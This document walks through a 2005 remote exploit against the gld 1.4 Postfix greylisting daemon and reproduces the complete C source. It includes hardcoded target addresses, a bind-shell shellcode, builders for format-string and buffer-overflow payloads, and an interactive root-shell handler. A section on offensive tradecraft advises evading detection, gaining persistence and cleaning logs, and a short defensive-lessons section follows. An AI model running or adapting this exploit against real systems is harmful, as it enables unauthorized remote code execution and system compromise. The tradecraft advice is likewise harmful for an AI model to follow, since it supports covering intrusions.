Understanding the gld 1.4 Postfix Greylisting Daemon Remote Format String Exploit

Understanding the gld 1.4 Postfix Greylisting Daemon Remote Format String Exploit
What this paper is
This paper details a remote exploit for version 1.4 of the Postfix Greylisting Daemon (gld). The vulnerability lies in a format string bug, allowing an attacker to remotely execute arbitrary code on a vulnerable server. The exploit targets specific versions and configurations of Linux (Red Hat, Gentoo, Debian) and *BSD systems. It aims to gain a remote shell on the compromised machine.
Simple technical breakdown
The Postfix Greylisting Daemon (gld) is a service that temporarily rejects mail from unknown senders, forcing them to retry later. This exploit targets a flaw where gld improperly handles user-supplied input when formatting messages. By sending specially crafted input containing format string specifiers (like %s, %x, %n), an attacker can:
- Overwrite memory: Use
%nto write specific values to arbitrary memory locations. - Control execution flow: Redirect the program's execution to attacker-controlled code (shellcode).
- Gain a shell: The shellcode typically establishes a reverse or bind shell, giving the attacker command-line access.
The exploit provides pre-compiled shellcode and targets specific memory addresses (like .dtors or other known locations) that can be overwritten to achieve code execution. It also includes fallback buffer overflow exploits for certain configurations.
Complete code and payload walkthrough
Let's break down the provided C code and its components.
/*
**
**
** 0x82-meOw-linuxer_forever - gld 1.4 remote overflow format string exploit.
** (c) 2005 Team INetCop Security.
**
** Nickname of this code is,
** `Kill two bird with one stone.' or, `One shot, two kill!.'
** hehehe ;-D
**
** Advisory URL:
** http://x82.inetcop.org/h0me/adv1sor1es/INCSA.2005-0x82-026-GLD.txt
**
** It's as well as RedHat Linux and to gentoo, debian Linux, *BSD.
** You can develop for your flatform.
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
**
**
** P.S: My domain x82.i21c.net encountered compulsion withdrawal from the country.
** They are killing many hackers of the Korea. hehehe ;-p
**
*/
/*
**
** These days, the main issue that strikes Korea is small rocky island "Dokdo".
** You can get more detailed information from following websites.
**
** "Japanese goverment has to follow and learn from German goverment"
**
** I can confidently say "Dokdo is belong to Korea".
**
** (1) reference
**
** 1) Their claim that the East Sea has some historical precedent worked,
** as some major book and map publishers, educational web sites and other
** reference materials now include the East Sea name along with the Sea of Japan.
** - worldatlas.com-
**
** http://www.worldatlas.com/webimage/countrys/asia/eastsea.htm
**
** 2) On historical perspective and in international law, why there
** is no valid dispute over the ownership of Dokdo.
**
** http://www.prkorea.com/english/textbook/ge03.html
**
** 3)Truth in scholarship
**
** http://www.prkorea.com/english/textbook/maintruth.html
**
**
*/
// Standard C library includes for network programming, I/O, etc.
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
// Default host and port for the target service.
#define DEF_HOST "localhost"
#define PORT 2525
// Structure to hold information about different operating system/gld versions.
struct os_t {
int number; // A numerical identifier for the OS type.
char *os_type; // A descriptive string for the OS/gld version.
unsigned long dtors_addr; // Address of the .dtors section (often used for format string exploits).
unsigned long shell; // Address where shellcode is expected to be found or a jump target.
int sflag; // A flag or size parameter, likely related to the exploit payload.
};
// Array of os_t structures, defining targets for the exploit.
struct os_t platform[]={
{
0,"Red Hat Linux release 7.0 (Guinness) gld 1.4 (format string exploit)",
0x0804db98,0xbfffa3bc,15 // Target 0: RH 7.0, specific .dtors, shellcode addr, sflag.
},
{
1,"Red Hat Linux release 9 (Shrike) gld 1.4 (format string exploit)",
0x0804d14c,0x0805506e,15 // Target 1: RH 9.0, specific .dtors, shellcode addr, sflag.
},
{
2,"Red Hat Linux release 7.0 (Guinness) gld 1.4 (buffer overflow exploit)",
0,0xbfffa5d8,300 // Target 2: RH 7.0, buffer overflow, shellcode addr, sflag (size).
},
{
/* jmp *%esp method */
3,"Red Hat Linux release 9 (Shrike) gld 1.4 (buffer overflow exploit)",
0,0x4212c5eb,254 // Target 3: RH 9.0, buffer overflow (jmp esp), shellcode addr, sflag (size).
},
{
4,NULL,0,0,0 // Sentinel to mark the end of the platform array.
}
};
// Global debug flag.
int __debug_chk=0;
// Buffer to hold the crafted exploit payload. Size is large (0xfff * 3).
char t_atk[0xfff*3];
// This is lovable shellcode, that's sweet in linux platform.
// Shellcode for a port shell (bind shell or reverse shell).
// It's 128 bytes long and targets TCP port 36864.
char shellcode[]= /* portshell shellcode, 128 bytes (tcp/36864) */
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89"
"\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89"
"\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89"
"\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66"
"\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"
"\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh"; // This part is likely a string literal appended to the shellcode.
// Function prototypes.
void banrl(); // Prints the banner.
int make_bof_code(unsigned long shell,int size,int type); // Generates buffer overflow exploit code.
int make_fmt_code(unsigned long retloc,unsigned long shell,int sflag); // Generates format string exploit code.
int setsock(char *host,int port); // Sets up a network socket connection.
void usage(char *args); // Displays usage information.
void re_connt(int sock); // Checks for connection errors.
void conn_shell(int sock); // Handles the interactive shell session.
// Main function: entry point of the exploit.
int main(int argc,char *argv[])
{
int sock,type=0; // sock: socket descriptor, type: target type index.
int port=(PORT); // Target port.
char host[256]=DEF_HOST; // Target host.
// Default values from the first platform entry.
int sflag=platform[type].sflag;
unsigned long retloc=platform[type].dtors_addr;
unsigned long shell=platform[type].shell;
(void)banrl(); // Display banner.
// Parse command-line arguments using getopt.
while((sock=getopt(argc,argv,"DdF:f:R:r:S:s:H:h:T:t:Ii"))!=EOF) {
extern char *optarg; // optarg holds the argument for the option.
switch(sock) {
case 'D': // Debug mode flag.
case 'd':
__debug_chk=1;
break;
case 'R': // Override return location.
case 'r':
retloc=strtoul(optarg,NULL,0); // Convert hex string to unsigned long.
break;
case 'S': // Override shellcode address.
case 's':
shell=strtoul(optarg,NULL,0); // Convert hex string to unsigned long.
break;
case 'F': // Override sflag.
case 'f':
sflag=atoi(optarg); // Convert string to integer.
break;
case 'H': // Override target host.
case 'h':
memset((char *)host,0,sizeof(host)); // Clear host buffer.
strncpy(host,optarg,sizeof(host)-1); // Copy new host.
break;
case 'T': // Select target type.
case 't':
type=atoi(optarg); // Convert string to integer.
if(type>=4){ // Check if type is out of bounds.
(void)usage(argv[0]); // Show usage and exit.
} else {
// Load default values for the selected target type.
retloc=platform[type].dtors_addr;
shell=platform[type].shell;
sflag=platform[type].sflag;
}
break;
case 'I': // Show help information.
case 'i':
(void)usage(argv[0]); // Show usage and exit.
break;
case '?': // Unknown option.
fprintf(stderr,"Try `%s -i' for more information.\n\n",argv[0]);
exit(-1); // Exit with error.
break;
}
}
// Print target information.
fprintf(stdout," #\n # target host: %s:%d\n",host,port);
fprintf(stdout," # type: %s\n",platform[type].os_type);
// Generate the exploit payload based on the selected target type.
switch(type)
{
case 0: // Format string exploit for RH 7.0.
case 1: // Format string exploit for RH 9.0.
(int)make_fmt_code(retloc,shell,sflag);
break;
case 2: // Buffer overflow exploit for RH 7.0.
(int)make_bof_code(shell,sflag,0); // type 0 for normal overflow.
break;
case 3: // Buffer overflow exploit for RH 9.0 (jmp esp).
(int)make_bof_code(shell,sflag,1); // type 1 for jmp *%esp.
}
// Print the size of the generated payload.
fprintf(stdout," # send code size: %d byte\n",strlen(t_atk));
// Establish the initial connection and send the exploit.
sock=setsock(host,port);
(void)re_connt(sock); // Check for connection errors.
if(__debug_chk) sleep(10); // Pause if debug mode is enabled.
send(sock,t_atk,strlen(t_atk),0); // Send the exploit payload.
close(sock); // Close the connection.
// Attempt to connect to the shell port (36864) to get the rootshell.
fprintf(stdout," #\n # Waiting rootshell, Trying %s:36864 ...\n",host);
sleep(1); // Short delay.
sock=setsock(host,36864); // Connect to the shell port.
(void)re_connt(sock); // Check for connection errors.
fprintf(stdout," # connected to %s:36864 !\n #\n\n",host);
(void)conn_shell(sock); // Handle the interactive shell.
return 0; // Exit successfully.
}
// Function to generate buffer overflow exploit code.
int make_bof_code(unsigned long shell,int size,int type)
{
int a,b;
char nop_shell[8192]; // Buffer for NOP sled and shellcode.
char code_buf[4096]; // Buffer for exploit payload (return address, etc.).
// Initialize buffers to zero.
memset((char *)nop_shell,0,sizeof(nop_shell));
memset((char *)code_buf,0,sizeof(code_buf));
memset((char *)t_atk,0,sizeof(t_atk));
switch(type)
{
case 0: // Normal buffer overflow.
fprintf(stdout," # method: normal overflow exploit: %d byte\n",size);
/* sender buffer = nop, shellcode */
// Fill nop_shell with 'N's (NOP sled) up to a certain point.
for(a=0;a<1000-strlen(shellcode);a++)
nop_shell[a]='N';
// Append the actual shellcode.
for(b=0;b<strlen(shellcode);b++)
nop_shell[a++]=shellcode[b];
/* client_address = retaddr */
// Fill code_buf with the shellcode address repeated 'size' times.
// This is intended to overwrite the return address on the stack.
for(b=0;b<size*4;b+=4)
*(long *)&code_buf[b]=shell;
// Format the exploit string: "sender=" followed by NOPs/shellcode,
// "client_address=" followed by the overwritten return addresses.
snprintf(t_atk,sizeof(t_atk)-1,
"sender=%s\r\n"
"client_address=%s\r\n\r\n",nop_shell,code_buf);
break;
case 1: // "jmp *%esp" buffer overflow exploit.
fprintf(stdout," # method: jmp *%%esp exploit: %d byte\n",size);
/* sender buffer */
// Fill the sender buffer with 'N's (NOP sled).
for(a=0;a<1000;a++)
nop_shell[a]='N';
/* client_address buffer */
// Fill the buffer with a placeholder value (0x82828282).
// This is likely to overwrite stack data before the return address.
for(b=0;b<size*4;b+=4)
*(long *)&code_buf[b]=0x82828282;
/* ebp */
// Overwrite the saved EBP register with a known value.
*(long *)&code_buf[b]=0x41414141; // 'AAAA'
b+=4;
/* eip (jmp *%esp) */
// Overwrite the return address (EIP) with the address of the 'jmp *%esp' instruction.
*(long *)&code_buf[b]=(shell); // 'shell' here is the address of the jmp *%esp gadget.
b+=4;
/* jmp nop (0xeb,0x08) */
// Add a short jump instruction to skip over the next few bytes.
*(long *)&code_buf[b]=0x08eb08eb; // This sequence is unusual. Likely intended to jump to the NOP sled.
b+=4;
/* dummy, nop */
// These are padding or additional NOP instructions.
// The commented addresses might be specific to a particular environment.
// 0x0804d280 0xbfffe1c8 0x08049521
*(long *)&code_buf[b]=0x0804d280; // Potential address.
b+=4;
*(long *)&code_buf[b]=0x90909090; // NOPs.
b+=4;
*(long *)&code_buf[b]=0x90909090; // NOPs.
b+=4;
*(long *)&code_buf[b]=0x90909090; // NOPs.
b+=4;
/* shellcode */
// Append the actual shellcode to the buffer.
for(a=0;a<strlen(shellcode);a++)
code_buf[b++]=shellcode[a];
// Format the exploit string: "sender=" followed by NOPs,
// "client_address=" followed by the crafted buffer containing EBP, EIP, and shellcode.
snprintf(t_atk,sizeof(t_atk)-1,
"sender=%s\r\n"
"client_address=%s\r\n\r\n",nop_shell,code_buf);
}
return 0; // Indicate success.
}
// Function to generate format string exploit code.
int make_fmt_code(unsigned long retloc,unsigned long shell,int sflag)
{
unsigned char header[256]; // Buffer for the initial part of the payload.
unsigned char nop_shell[8192]; // Buffer for NOP sled and shellcode.
int a,b,c,d,e,f; // Loop counters and temporary variables.
int addr1,addr2,addr3,addr4; // Variables to hold byte parts of the shellcode address.
a=b=c=d=e=f=addr1=addr2=addr3=addr4=0;
// Initialize buffers.
memset((char *)header,0,sizeof(header));
memset((char *)nop_shell,0,sizeof(nop_shell));
memset((char *)t_atk,0,sizeof(t_atk));
fprintf(stdout," # Make format string, .dtors: %p\n",retloc);
// Prepare the header: This writes the target address (retloc) four times
// into the header buffer. These are intended to be targets for the %n
// format specifier, which writes the number of bytes printed so far.
// By writing the address at offsets 0, 4, 8, 12, we prepare to write
// to four consecutive memory locations.
*(long *)&header[0]=retloc+0;
*(long *)&header[4]=retloc+1;
*(long *)&header[8]=retloc+2;
*(long *)&header[12]=retloc+3;
// Extract individual bytes from the shellcode address.
// This is done to write them to specific locations using %n.
a=(shell>>24)&0xff; // Most significant byte.
addr1=(shell>>24)&0xff;
b=(shell>>16)&0xff; // Second most significant byte.
addr2=(shell>>16)&0xff;
c=(shell>>8)&0xff; // Third most significant byte.
addr3=(shell>>8)&0xff;
d=(shell>>0)&0xff; // Least significant byte.
addr4=(shell>>0)&0xff;
// Adjust byte values if necessary to ensure they are writable.
// The logic here is to add 0x100 (256) to a byte if the difference
// between consecutive bytes (or the current byte and a base value)
// is too small. This is a common technique in format string exploits
// to write multi-byte values by writing byte by byte, adjusting the
// count for each byte.
if((addr4-16-65)<10)d+=0x100; // Adjusting the LSB.
if((addr3-addr4)<10)c+=0x100; // Adjusting the next byte.
if((addr2-addr3)<10)b+=0x100; // Adjusting the next byte.
// Prepare the NOP sled and append the shellcode.
for(e=0;e<320-strlen(shellcode);e++)
nop_shell[e]='N'; // Fill with NOPs.
for(f=0;f<strlen(shellcode);f++)
nop_shell[e++]=shellcode[f]; // Append shellcode.
fprintf(stdout," #\n # shellcode addr: %p, size: %d byte\n",shell,strlen(nop_shell));
// Construct the final exploit string.
// "client_address=" followed by:
// 1. The header (4 bytes pointing to retloc, retloc+1, retloc+2, retloc+3).
// 2. Format specifiers:
// - %ux: Prints 'x' characters.
// - %d$n: Writes the number of characters printed so far to the address
// pointed to by the d-th argument on the stack.
// The values (d-16-65), (c-addr4), etc., are calculated to write the
// correct byte values of the shellcode address into the target locations.
// The sflag value is used as a base count for the %n writes.
// 3. The NOP sled and shellcode.
snprintf(t_atk,sizeof(t_atk)-1,
"client_address=%s" /* header */
"%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n" /* fmt code */
"%s\r\n\r\n", /* shellcode */
header,d-16-65,(sflag+0),c-addr4,(sflag+1),b-addr3,
(sflag+2),0x100+a-addr2,(sflag+3),nop_shell);
return 0; // Indicate success.
}
// Function to check for socket connection errors.
void re_connt(int sock)
{
if(sock==-1)
{
fprintf(stdout," #\n # Failed.\n");
fprintf(stdout," # Happy Exploit ! :-)\n #\n\n");
exit(-1); // Exit if connection failed.
}
}
// Function to set up a TCP socket connection.
int setsock(char *host,int port)
{
int sock;
struct hostent *he; // Host entry structure.
struct sockaddr_in x82_addr; // Socket address structure.
// Resolve hostname to IP address.
if((he=gethostbyname(host))==NULL)
{
herror(" # gethostbyname() error"); // Print error if resolution fails.
return(-1); // Return error code.
}
// Create a TCP socket.
if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF)
{
perror(" # socket() error"); // Print error if socket creation fails.
return(-1); // Return error code.
}
// Configure the socket address structure.
x82_addr.sin_family=AF_INET; // IPv4.
x82_addr.sin_port=htons(port); // Convert port to network byte order.
x82_addr.sin_addr=*((struct in_addr *)he->h_addr); // Set IP address.
bzero(&(x82_addr.sin_zero),8); // Zero out the rest of the structure.
// Connect to the target.
if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct sockaddr))==EOF)
{
perror(" # connect() error"); // Print error if connection fails.
return(-1); // Return error code.
}
return(sock); // Return the socket descriptor.
}
// Function to handle the interactive shell session.
void conn_shell(int sock)
{
int pckt; // Number of bytes read/written.
// Command to execute upon shell connection: print system info, set terminal, and start interactive bash.
char *cmd="uname -a;id;export TERM=vt100;exec bash -i\n";
char rbuf[1024]; // Buffer for reading data.
fd_set rset; // File descriptor set for select().
memset((char *)rbuf,0,1024); // Clear the read buffer.
fprintf(stdout," #\n # Kill two bird with one stone!\n");
fprintf(stdout," # OK, It's Rootshell\n #\n\n");
send(sock,cmd,strlen(cmd),0); // Send the initial command.
while(1) // Main loop for interactive shell.
{
fflush(stdout); // Flush standard output.
FD_ZERO(&rset); // Clear the file descriptor set.
FD_SET(sock,&rset); // Add the socket to the set.
FD_SET(STDIN_FILENO,&rset); // Add standard input (keyboard) to the set.
// Wait for activity on either the socket or stdin.
select(sock+1,&rset,NULL,NULL,NULL);
// If data is available on the socket (from the remote shell).
if(FD_ISSET(sock,&rset))
{
pckt=read(sock,rbuf,1024); // Read data from the socket.
if(pckt<=0) // If connection is closed.
{
fprintf(stdout," #\n # Happy Exploit !\n #\n\n");
exit(0); // Exit successfully.
}
rbuf[pckt]=0; // Null-terminate the received data.
printf("%s",rbuf); // Print the received data to stdout.
}
// If data is available on standard input (user typing).
if(FD_ISSET(STDIN_FILENO,&rset))
{
pckt=read(STDIN_FILENO,rbuf,1024); // Read data from stdin.
if(pckt>0)
{
rbuf[pckt]=0; // Null-terminate the input.
write(sock,rbuf,pckt); // Send the input to the remote shell.
}
}
}
return; // Return from function.
}
// Function to print the exploit banner.
void banrl()
{
fprintf(stdout,"\n #\n # 0x82-meOw_linuxer_forever - \n");
fprintf(stdout," # Greylisting daemon for Postfix remote exploit\n");
fprintf(stdout," # szoahc(at)hotmail(dot)com\n #\n\n");
}
// Function to display usage information and exit.
void usage(char *args)
{
int i;
fprintf(stdout," Usage: %s -options arguments\n\n",args);
fprintf(stdout,"\t-r [retloc] - .dtors address.\n");
fprintf(stdout,"\t-s [shell] - shellcode address.\n");
fprintf(stdout,"\t-f [flag num] - $-flag count.\n");
fprintf(stdout,"\t-h [host] - target hostname.\n");
fprintf(stdout,"\t-t [type num] - target number.\n");
fprintf(stdout,"\t-i - help information.\n\n");
fprintf(stdout," - Target Type Number List -\n\n");
// Iterate through the platform array and print available target types.
for(i=0;platform[i].os_type!=NULL;i++)
{
fprintf(stdout," {%d} : %s\n",i,platform[i].os_type);
}
fprintf(stdout,"\n Example: %s -t 0 -h localhost\n",args);
fprintf(stdout," Example: %s -r 0x82828282 -s 0x82828282 -f 15\n\n",args);
exit(0); // Exit after displaying usage.
}
// milw0rm.com [2005-04-13]Code Fragment/Block -> Practical Purpose Mapping
#include <stdio.h>...#include <sys/socket.h>: Standard C library headers required for input/output, network operations, and socket programming.#define DEF_HOST "localhost"/#define PORT 2525: Default network parameters for the target service.struct os_t { ... };: Defines a structure to hold configuration details for different target environments (OS, addresses, flags). This allows the exploit to be adaptable.struct os_t platform[] = { ... };: An array ofos_tstructures, pre-configured for specific versions of gld and Linux distributions. Each entry specifies:number: An index for selecting the target type.os_type: A human-readable description of the target.dtors_addr: The memory address of the.dtorssection, a common target for format string exploits to overwrite function pointers.shell: The expected address of the shellcode in memory or a jump target for buffer overflow exploits.sflag: A numerical parameter, often used as a count for format specifiers (%d$n) or as a size for buffer overflows.
int __debug_chk=0;: A global flag to enable/disable debugging features (like a pause).char t_atk[0xfff*3];: A large buffer to construct the final exploit payload before sending it over the network.char shellcode[] = "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";: This is the actual shellcode. It's a sequence of machine instructions designed to be executed by the target CPU. This specific shellcode appears to be a common Linux shellcode that:- Uses Linux system calls (
int 0x80). - Sets up a socket.
- Binds to a port (likely 36864, as used later in the exploit).
- Listens for connections.
- Accepts a connection.
- Executes
/bin/sh, providing a command shell. - The
\xeb\x72...part is the raw machine code. The/bin/shat the end is likely a string literal that the shellcode uses to invoke a shell.
- Uses Linux system calls (
void banrl();...void usage(char *args);: Function prototypes for helper functions.int main(int argc,char *argv[]): The main entry point.- Argument Parsing (
getopt): Handles command-line options like-h(host),-t(target type),-r(retloc),-s(shell address),-f(sflag), and-i(help). - Target Selection: Based on the
-toption, it selects an entry from theplatformarray to configureretloc,shell, andsflag. - Payload Generation: Calls
make_fmt_codeormake_bof_codebased on the selectedtypeto populate thet_atkbuffer. - Connection and Exploitation:
- Calls
setsockto establish a TCP connection to the target host and port. - Calls
re_conntto check for connection errors. - Sends the crafted payload (
t_atk) usingsend. - Closes the initial connection.
- Calls
- Shell Acquisition:
- Attempts to connect to port 36864 on the target host.
- If successful, calls
conn_shellto establish an interactive shell session.
- Argument Parsing (
int make_bof_code(unsigned long shell,int size,int type): Generates payload for buffer overflow exploits.case 0:(Normal Overflow):- Creates a NOP sled (
'N') followed by theshellcodeinnop_shell. - Fills
code_bufwith theshelladdress repeatedsizetimes. This buffer is intended to overwrite the return address on the stack. - Constructs the payload string using
snprintfwithsender=andclient_address=fields.
- Creates a NOP sled (
- **
case 1:(JMP *ESP)**:- Creates a NOP sled in
nop_shell. - Constructs
code_bufwith a series of values:0x82828282(likely padding/junk),0x41414141(EBP overwrite),shell(the address of thejmp *%espgadget),0x08eb08eb(a short jump), and then further NOPs and theshellcode. This aims to redirect execution to thejmp *%espinstruction, which will then jump to the shellcode. - Constructs the payload string.
- Creates a NOP sled in
int make_fmt_code(unsigned long retloc,unsigned long shell,int sflag): Generates payload for format string exploits.header: Populated withretloc,retloc+1,retloc+2,retloc+3. These are the memory addresses that the format string will write to.- Byte Extraction: The
shelladdress is broken down into its individual bytes (a,b,c,d). - Byte Adjustment: Logic to add
0x100to bytes if they are too close to the previous byte's value, ensuring that each byte can be written sequentially using%n. nop_shell: Contains a NOP sled followed by theshellcode.snprintf: Constructs the core format string payload:client_address=followed by theheader.- A sequence of format specifiers:
%%%ux%%%d$n.%%%ux: Printsxnumber of characters. Thexvalues are calculated based on the target byte values and thesflagto precisely control the number of characters printed.%%%d$n: Writes the total number of characters printed so far to the memory address specified by thed-th argument on the stack. Thedvalues are calculated to target the addresses in theheaderand the subsequent arguments.
- The
nop_shell(containing NOPs and shellcode) is appended.
void re_connt(int sock): A simple error checker for socket connections.int setsock(char *host,int port): Handles DNS resolution, socket creation, and connection establishment.void conn_shell(int sock): Manages the interactive shell session.- Sends an initial command (
uname -a;id;export TERM=vt100;exec bash -i\n) to get system information and start an interactive bash shell. - Uses
selectto monitor both the network socket and standard input. - Reads data from the socket and prints it to the console.
- Reads user input from the console and sends it to the remote shell.
- Sends an initial command (
void banrl(): Prints the exploit's banner.void usage(char *args): Displays help information and lists available target types.
Shellcode Breakdown (Conceptual)
The provided shellcode is a sequence of bytes. Without a disassembler or debugger specifically for the target architecture (likely x86 Linux), a precise byte-by-byte analysis is difficult. However, based on common Linux shellcode patterns and the context of the exploit:
\xeb\x72: Likely a short jump instruction, possibly to skip initial setup or jump to the main logic.\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89\x46\x08: These are typically register manipulation instructions (e.g.,pop esi,sub eax, eax,mov [esi+0x10], eax,inc eax,mov ebx, eax,mov [esi+0xc], ebx,mov [esi+0x8], ebx). They are used to set up registers for system calls or socket operations.esimight be pointing to a buffer.\x8d\x4e\x08\xb0\x66\xcd\x80:lea esi, [esi+0x8],mov al, 0x66(sys_socketcall syscall number),int 0x80. This sequence initiates a system call.0x66is the syscall number forsocketcall.\x43\xc6\x46\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80: Further setup forsocketcall. This part likely prepares arguments forsocketcall, such assocket(AF_INET, SOCK_STREAM, 0). It sets up parameters for creating a socket.\x89\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80: Continuessocketcallpreparation, possibly forbindorconnect. The repeated0x66and0x80indicate moresocketcallinvocations.\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80: These are likely system calls fordup2(syscall 0x3f) to redirect standard input, output, and error to the established socket, and thenexecve(syscall 0xb) to execute/bin/sh.\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh: Final setup forexecveand the string/bin/sh. The\xe8is a relative call, often used to jump to the string literal/bin/sh.
Practical details for offensive operations teams
- Required Access Level: Network access to the target host on port 2525 (or the configured port for gld). No local access is required for the remote exploit.
- Lab Preconditions:
- A vulnerable Postfix Greylisting Daemon (gld) version 1.4 running on a supported Linux distribution (e.g., Red Hat Linux 7.0/9.0, Gentoo, Debian) or *BSD.
- The gld service must be listening on a network port accessible by the attacker.
- The target system must not have exploit mitigation techniques (like ASLR, DEP, or strong stack canaries) that would prevent the shellcode from executing or the format string from overwriting critical pointers.
- The exploit relies on predictable memory addresses for
.dtorsor shellcode placement, which might be absent or randomized in modern systems.
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit code.
- Standard networking tools (
netcat,nmap) for reconnaissance and verification. - A debugger (like GDB) for analyzing the target binary and understanding memory layouts if needed for custom targets.
- Execution Pitfalls:
- Incorrect Target Type: Using the wrong
type(-t) value will lead to incorrect addresses and payload construction, causing the exploit to fail. - Address Mismatch: The
dtors_addrandshelladdresses in theplatformarray are hardcoded and specific to the compiled binary of gld 1.4. If the target binary has been compiled with different optimizations, addresses, or if ASLR is enabled, these addresses will be wrong. Manual discovery of these addresses would be necessary. - Format String Complexity: The
make_fmt_codefunction's logic for calculating byte values and offsets is intricate. Small errors in calculation or assumptions about the stack layout can cause failure. Thesflagvalue is crucial for controlling the number of characters printed before each%nwrite. - Network Latency/Reliability: The exploit relies on a stable TCP connection to send the payload and then connect to the shell port. Network issues can cause the exploit to fail.
- Firewalls: Firewalls might block the initial connection to port 2525 or the subsequent connection to port 36864.
- Shellcode Port: The shellcode is hardcoded to listen on port 36864. If this port is blocked or already in use, the shell acquisition will fail.
- Buffer Overflow Variants: The buffer overflow exploits (
make_bof_code) are highly dependent on the exact stack layout and buffer sizes, which can vary between minor version updates or compiler flags. Thejmp *%espmethod requires a specific gadget to be present in the target binary.
- Incorrect Target Type: Using the wrong
- Tradecraft Considerations:
- Reconnaissance: Identify the exact version of gld and the underlying OS. This is critical for selecting the correct
typeor for finding custom addresses. Tools likenmapwith version detection or manual banner grabbing can be useful. - Payload Customization: If the pre-defined targets don't work, an operator would need to:
- Identify the target binary.
- Determine the correct
.dtorsaddress (for format string) or a suitable jump gadget/shellcode location (for buffer overflow). This often involves debugging the target binary or using memory scanning tools. - Potentially re-compile the shellcode for different ports or functionalities.
- Stealth: The exploit sends a large amount of data and then attempts a second connection. This could be detected by Intrusion Detection Systems (IDS) or network monitoring tools. The use of standard ports (2525 is common for mail relays, 36864 is less common) might raise suspicion.
- Post-Exploitation: Once a shell is obtained, the operator should immediately pivot to establishing more persistent access and potentially cleaning up logs.
- Reconnaissance: Identify the exact version of gld and the underlying OS. This is critical for selecting the correct
Where this was used and when
- Published: 2005-04-13.
- Context: This exploit targets a specific vulnerability in gld 1.4, which was likely in use around the mid-2000s. Exploits of this nature were common during that era, targeting vulnerabilities in network services.
- Usage: While concrete public reports of this specific exploit being used in the wild are not readily available in general cybersecurity news archives from that period, it represents a typical exploit developed by security researchers and potentially used by offensive teams for authorized penetration testing or by malicious actors if the vulnerability remained unpatched. The author's notes about political situations in Korea suggest a context where such exploits might have been discussed or shared within specific communities.
Defensive lessons for modern teams
- Patch Management: The most crucial lesson is the importance of timely patching. This exploit targets a known vulnerability in gld 1.4. Keeping software updated to the latest stable versions is paramount.
- Input Validation and Sanitization: Applications must rigorously validate and sanitize all user-supplied input, especially when it's used in sensitive operations like string formatting or memory manipulation. Never trust external input.
- Secure Coding Practices: Developers should be trained to avoid common vulnerabilities like format string bugs and buffer overflows. Using safer functions (e.g.,
snprintfinstead ofsprintfwith careful length checks) and compiler security features can help. - Exploit Mitigation Techniques: Modern operating systems and compilers offer defenses:
- Address Space Layout Randomization (ASLR): Randomizes memory addresses, making it harder for attackers to predict target locations like
.dtorsor shellcode. - Data Execution Prevention (DEP) / Non-Executable Stack (NX bit): Prevents code from being executed from data segments like the stack. Attackers must then rely on techniques like Return-Oriented Programming (ROP) or find executable code segments.
- Stack Canaries: Detect stack buffer overflows by placing a random value on the stack before the return address. If this value is corrupted, the program detects the overflow and aborts.
- Address Space Layout Randomization (ASLR): Randomizes memory addresses, making it harder for attackers to predict target locations like
- Network Segmentation and Firewalls: Limiting network access to critical services and using firewalls to restrict inbound and outbound connections can prevent attackers from reaching vulnerable services or establishing shell connections.
- Intrusion Detection/Prevention Systems (IDS/IPS): Network-based IDS/IPS can detect suspicious patterns in network traffic, such as malformed packets or unusual connection attempts, which might indicate an exploit attempt.
- Logging and Monitoring: Comprehensive logging of network connections, service access, and system events can help detect and investigate security incidents.
ASCII visual (if applicable)
This exploit involves network communication and memory manipulation. A simple visual representation of the format string exploit flow:
+-----------------+ +-------------------+ +---------------------+
| Attacker Client | ----> | Target gld 1.4 | ----> | Memory (e.g., .dtors)|
| (Exploit Code) | | (Vulnerable) | | (Overwrite Pointers) |
+-----------------+ +-------------------+ +---------------------+
| |
| Sends crafted payload | Format string
| (e.g., "client_address=...")| specifiers
| |
| v
| +-----------------+
| | Program Control |
| | (Redirected) |
| +-----------------+
| |
| v
| +-----------------+
| | Shellcode |
| | (e.g., /bin/sh) |
